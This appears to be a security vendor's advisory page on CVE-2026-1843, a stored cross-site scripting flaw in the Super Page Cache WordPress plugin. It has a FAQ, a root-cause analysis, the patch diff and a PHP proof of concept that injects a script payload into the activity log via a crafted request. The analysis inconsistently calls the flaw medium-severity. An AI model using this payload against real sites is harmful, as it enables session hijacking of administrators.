What is CVE-2026-1843?

CVE-2026-1843 is a high-severity vulnerability affecting the Super Page Cache plugin for WordPress, specifically versions up to and including 5.2.2. It allows unauthenticated stored cross-site scripting (XSS) via the Activity Log due to insufficient input sanitization and output escaping.

How does the vulnerability work?

The vulnerability occurs when the plugin displays log file contents without proper output escaping. An attacker can inject malicious scripts into the activity log, which are then executed in the browser of any user who views the logs, potentially leading to session hijacking or site defacement.

Who is affected by this vulnerability?

Any WordPress site using the Super Page Cache plugin version 5.2.2 or earlier is at risk. Administrators should check their plugin version to determine if they are affected.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Super Page Cache plugin installed. If it is version 5.2.2 or earlier, your site is at risk and requires immediate action.

How can I fix this vulnerability?

To mitigate this vulnerability, update the Super Page Cache plugin to version 5.2.3 or later, which includes a patch that properly escapes output in the logs. Regularly updating all plugins is recommended to maintain security.

What does a CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity vulnerability. This means that successful exploitation can lead to significant security risks, including unauthorized access and potential data breaches.

What practical risks does this vulnerability pose?

Exploitation of this vulnerability can allow attackers to execute arbitrary JavaScript in the context of an administrator’s session. This could lead to session hijacking, privilege escalation, or the installation of malicious backdoors.

What is a proof of concept (PoC) in this context?

The proof of concept provided demonstrates how an attacker can exploit the vulnerability by injecting a malicious payload into the activity log. It illustrates the attack vector by manipulating request parameters to trigger logging of the payload.

Can this vulnerability be exploited without authentication?

Yes, this vulnerability can be exploited by unauthenticated attackers. This increases the risk level as no prior access to the WordPress site is needed to carry out the attack.

What steps should I take if I cannot update the plugin immediately?

If an immediate update is not possible, consider disabling the Super Page Cache plugin until it can be updated. Additionally, monitor your logs for any suspicious activity and restrict access to the wp-admin area.

How does the patch improve security?

The patch in version 5.2.3 improves security by implementing proper output escaping using the esc_html() function. This prevents potentially harmful scripts from being executed when log files are viewed.

What should I do to maintain ongoing security?

To maintain ongoing security, regularly update all WordPress plugins and themes, implement security monitoring, and perform routine security audits of your site to identify and address vulnerabilities promptly.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-1843: Super Page Cache <= 5.2.2 – Unauthenticated Stored Cross-Site Scripting via Activity Log (wp-cloudflare-page-cache)

CVE ID CVE-2026-1843

Plugin wp-cloudflare-page-cache

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 5.2.2

Patched Version 5.2.3

Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1843:
The Super Page Cache plugin for WordPress, versions up to and including 5.2.2, contains an unauthenticated stored cross-site scripting (XSS) vulnerability in its Activity Log feature. The vulnerability stems from insufficient output escaping when the plugin displays log file contents. Attackers can inject malicious scripts that execute in the browser of any user viewing the logs, leading to a medium-severity security issue with a CVSS score of 7.2.

The root cause is a lack of proper output escaping in the logs.class.php file. Specifically, the function handling the log file download/view operation directly outputs the raw contents of a log file using file_get_contents() without sanitization. In the vulnerable code at line 150, the plugin echoes the log file content wrapped only in

tags. This allows any JavaScript payload previously written to the log file to be rendered and executed in the victim's browser when the log is viewed.

Exploitation requires an attacker to inject a malicious payload into the plugin's activity log. The primary attack vector is the plugin's logging functionality itself. An attacker can potentially trigger log entries containing crafted JavaScript by manipulating request parameters or URLs that the plugin logs. Once the payload is stored, any administrator or user with access to view the logs via the wp-admin interface can trigger execution by visiting the log viewer page. The specific endpoint is accessed via a GET request to the admin area with the parameter swcfpc_download_log set to 'view'.

The patch addresses the vulnerability by applying proper output escaping. In the patched version 5.2.3, the code in logs.class.php line 150 now wraps the file output with esc_html(). This function converts potentially dangerous HTML characters into their HTML entities, neutralizing any script tags or event handlers. The patch also includes unrelated changes, such as adding a new setting to bypass caching for HTTP error codes and fixing output escaping in another logging statement in html_cache.class.php.

Successful exploitation leads to stored XSS attacks. An attacker can execute arbitrary JavaScript in the context of a logged-in administrator's session. This can result in session hijacking, site defacement, privilege escalation, or the installation of backdoors. The attack is unauthenticated, requiring no prior access to the WordPress site, which increases its potential impact.

Differential between vulnerable and patched code

Code Diff

--- a/wp-cloudflare-page-cache/assets/advanced-cache.php
+++ b/wp-cloudflare-page-cache/assets/advanced-cache.php
@@ -189,6 +189,14 @@

 		if ( ! file_exists( $cache_path . $cache_key ) || $swcfpc_objects['fallback_cache']->fallback_cache_is_expired_page( $cache_key ) ) {

+			// Bypass 4xx or 5xx HTTP status codes (security blocks, errors, etc.)
+			if ( SPCServicesSettings_Store::get_instance()->get( SPCConstants::SETTING_FALLBACK_CACHE_HTTP_RESPONSE_CODE ) ) {
+				$http_status = http_response_code();
+				if ( $http_status !== false && $http_status >= 400 && $http_status < 600 ) {
+					return $html;
+				}
+			}
+
 			if ( $sw_cloudflare_pagecache->get_single_config( 'cf_fallback_cache_ttl', 0 ) == 0 ) {
 				$ttl = 0;
 			} else {
--- a/wp-cloudflare-page-cache/bootstrap.php
+++ b/wp-cloudflare-page-cache/bootstrap.php
@@ -21,7 +21,7 @@
 	define( 'SWCFPC_AUTH_MODE_API_TOKEN', 1 );
 	define( 'SWCFPC_LOGS_STANDARD_VERBOSITY', 1 );
 	define( 'SWCFPC_LOGS_HIGH_VERBOSITY', 2 );
-	define( 'SWCFPC_VERSION', '5.2.2' );
+	define( 'SWCFPC_VERSION', '5.2.3' );
 	if ( ! defined( 'SPC_METRICS_DIR' ) ) {
 		$home_url_parts = parse_url( home_url() );
 		define( 'SPC_METRICS_DIR', WP_CONTENT_DIR . "/wp-cloudflare-super-page-cache/{$home_url_parts['host']}/metrics" );
--- a/wp-cloudflare-page-cache/libs/cache_controller.class.php
+++ b/wp-cloudflare-page-cache/libs/cache_controller.class.php
@@ -1725,6 +1725,16 @@
 			return true;
 		}

+		// Bypass 4xx or 5xx HTTP status codes (security blocks, errors, etc.)
+		if ( Settings_Store::get_instance()->get( Constants::SETTING_FALLBACK_CACHE_HTTP_RESPONSE_CODE ) ) {
+			$http_status = http_response_code();
+
+			if ( $http_status !== false && $http_status >= 400 && $http_status < 600 ) {
+				Helpers::bypass_reason_header( sprintf( 'HTTP Status %d', $http_status ) );
+				return true;
+			}
+		}
+
 		return false;
 	}

--- a/wp-cloudflare-page-cache/libs/html_cache.class.php
+++ b/wp-cloudflare-page-cache/libs/html_cache.class.php
@@ -62,7 +62,7 @@
 		$current_url = "{$parts['scheme']}://{$_SERVER['HTTP_HOST']}{$_SERVER['REQUEST_URI']}";

 		if ( isset( $wp_query ) && function_exists( 'is_404' ) && is_404() ) {
-			$this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', "The URL {$current_url} cannot be cached because it returns 404.", true );
+			$this->main_instance->get_logger()->add_log( 'html_cache::add_current_url_to_cache', 'The URL ' . esc_url_raw( $current_url ) . ' cannot be cached because it returns 404.', true );

 			return;
 		}
--- a/wp-cloudflare-page-cache/libs/logs.class.php
+++ b/wp-cloudflare-page-cache/libs/logs.class.php
@@ -150,7 +150,7 @@
 		}

 		if ( $_GET['swcfpc_download_log'] === 'view' ) {
-			echo '<pre>' . file_get_contents( $this->log_file_path ) . '</pre>';
+			echo '<pre>' . esc_html( file_get_contents( $this->log_file_path ) ) . '</pre>';

 			exit;
 		}
--- a/wp-cloudflare-page-cache/src/Constants.php
+++ b/wp-cloudflare-page-cache/src/Constants.php
@@ -49,6 +49,7 @@
 	public const SETTING_OVERWRITE_WITH_HTACCESS                   = 'cf_cache_control_htaccess';
 	public const SETTING_PURGE_ONLY_HTML                           = 'cf_purge_only_html';
 	public const SETTING_DISABLE_PURGING_QUEUE                     = 'cf_disable_cache_purging_queue';
+	public const SETTING_FALLBACK_CACHE_HTTP_RESPONSE_CODE         = 'cf_fallback_cache_http_response_code';

 	// Bypass Settings.
 	public const SETTING_BYPASS_404          = 'cf_bypass_404';
--- a/wp-cloudflare-page-cache/src/Modules/Settings_Manager.php
+++ b/wp-cloudflare-page-cache/src/Modules/Settings_Manager.php
@@ -212,6 +212,11 @@
 			'type'    => self::SETTING_TYPE_BOOLEAN,
 			'default' => 0,
 		],
+		Constants::SETTING_FALLBACK_CACHE_HTTP_RESPONSE_CODE => [
+			'type'       => self::SETTING_TYPE_BOOLEAN,
+			'bust_cache' => true,
+			'default'    => 1,
+		],
 		Constants::SETTING_BYPASS_404                   => [
 			'type'    => self::SETTING_TYPE_BOOLEAN,
 			'default' => 1,
--- a/wp-cloudflare-page-cache/vendor/composer/installed.php
+++ b/wp-cloudflare-page-cache/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'codeinwp/wp-cloudflare-super-page-cache',
-        'pretty_version' => 'v5.2.2',
-        'version' => '5.2.2.0',
-        'reference' => '0d86bcdc77c60f1bf4049a1cc190ec6bf1291db2',
+        'pretty_version' => 'v5.2.3',
+        'version' => '5.2.3.0',
+        'reference' => '9d99dd640381a4984bbe18ee96fa57e4501093c1',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -20,9 +20,9 @@
             'dev_requirement' => false,
         ),
         'codeinwp/wp-cloudflare-super-page-cache' => array(
-            'pretty_version' => 'v5.2.2',
-            'version' => '5.2.2.0',
-            'reference' => '0d86bcdc77c60f1bf4049a1cc190ec6bf1291db2',
+            'pretty_version' => 'v5.2.3',
+            'version' => '5.2.3.0',
+            'reference' => '9d99dd640381a4984bbe18ee96fa57e4501093c1',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),
--- a/wp-cloudflare-page-cache/wp-cloudflare-super-page-cache.php
+++ b/wp-cloudflare-page-cache/wp-cloudflare-super-page-cache.php
@@ -3,7 +3,7 @@
  * Plugin Name:  Super Page Cache
  * Plugin URI:   https://wordpress.org/plugins/wp-cloudflare-page-cache/
  * Description:  A WordPress performance plugin that lets you get Edge Caching enabled on a Cloudflare free plan.
- * Version:      5.2.2
+ * Version:      5.2.3
  * Author:       Themeisle
  * Author URI:   https://themeisle.com
  * License:      GPLv2 or later

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1843 - Super Page Cache <= 5.2.2 - Unauthenticated Stored Cross-Site Scripting via Activity Log
<?php
// Configure the target WordPress site URL
$target_url = 'http://example.com/wp-admin/'; // CHANGE THIS

// This PoC demonstrates the attack vector by attempting to poison the log file.
// The exact method to inject a payload into the log may vary.
// This example assumes a parameter or URL that gets logged can be manipulated.
$payload = '<script>alert(document.domain)</script>';

// Craft a request that might trigger logging of the payload.
// The plugin may log certain error conditions or visited URLs.
$ch = curl_init();
// Attempt to trigger a 404 on a path containing the payload, which might be logged.
$injection_url = $target_url . '?p=' . urlencode($payload);
curl_setopt($ch, CURLOPT_URL, $injection_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// After potential log poisoning, simulate an admin viewing the log.
// The direct log view endpoint requires the 'swcfpc_download_log' parameter.
// Note: This may require authentication in practice, but the vulnerability is in the output.
echo "If the payload was logged, visiting the log viewer would execute the script.n";
echo "Log viewer URL (admin required): " . $target_url . "?swcfpc_download_log=viewn";
?>

Frequently Asked Questions

What is CVE-2026-1843?
Overview of the vulnerability
CVE-2026-1843 is a high-severity vulnerability affecting the Super Page Cache plugin for WordPress, specifically versions up to and including 5.2.2. It allows unauthenticated stored cross-site scripting (XSS) via the Activity Log due to insufficient input sanitization and output escaping.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability occurs when the plugin displays log file contents without proper output escaping. An attacker can inject malicious scripts into the activity log, which are then executed in the browser of any user who views the logs, potentially leading to session hijacking or site defacement.
Who is affected by this vulnerability?
Identifying impacted users
Any WordPress site using the Super Page Cache plugin version 5.2.2 or earlier is at risk. Administrators should check their plugin version to determine if they are affected.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Super Page Cache plugin installed. If it is version 5.2.2 or earlier, your site is at risk and requires immediate action.
How can I fix this vulnerability?
Patch and update instructions
To mitigate this vulnerability, update the Super Page Cache plugin to version 5.2.3 or later, which includes a patch that properly escapes output in the logs. Regularly updating all plugins is recommended to maintain security.
What does a CVSS score of 7.2 indicate?
Understanding severity levels
A CVSS score of 7.2 indicates a high severity vulnerability. This means that successful exploitation can lead to significant security risks, including unauthorized access and potential data breaches.
What practical risks does this vulnerability pose?
Potential impact on WordPress sites
Exploitation of this vulnerability can allow attackers to execute arbitrary JavaScript in the context of an administrator’s session. This could lead to session hijacking, privilege escalation, or the installation of malicious backdoors.
What is a proof of concept (PoC) in this context?
Demonstrating the vulnerability
The proof of concept provided demonstrates how an attacker can exploit the vulnerability by injecting a malicious payload into the activity log. It illustrates the attack vector by manipulating request parameters to trigger logging of the payload.
Can this vulnerability be exploited without authentication?
Access requirements for exploitation
Yes, this vulnerability can be exploited by unauthenticated attackers. This increases the risk level as no prior access to the WordPress site is needed to carry out the attack.
What steps should I take if I cannot update the plugin immediately?
Mitigation strategies
If an immediate update is not possible, consider disabling the Super Page Cache plugin until it can be updated. Additionally, monitor your logs for any suspicious activity and restrict access to the wp-admin area.
How does the patch improve security?
Changes made in the updated version
The patch in version 5.2.3 improves security by implementing proper output escaping using the esc_html() function. This prevents potentially harmful scripts from being executed when log files are viewed.
What should I do to maintain ongoing security?
Best practices for WordPress administrators
To maintain ongoing security, regularly update all WordPress plugins and themes, implement security monitoring, and perform routine security audits of your site to identify and address vulnerabilities promptly.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations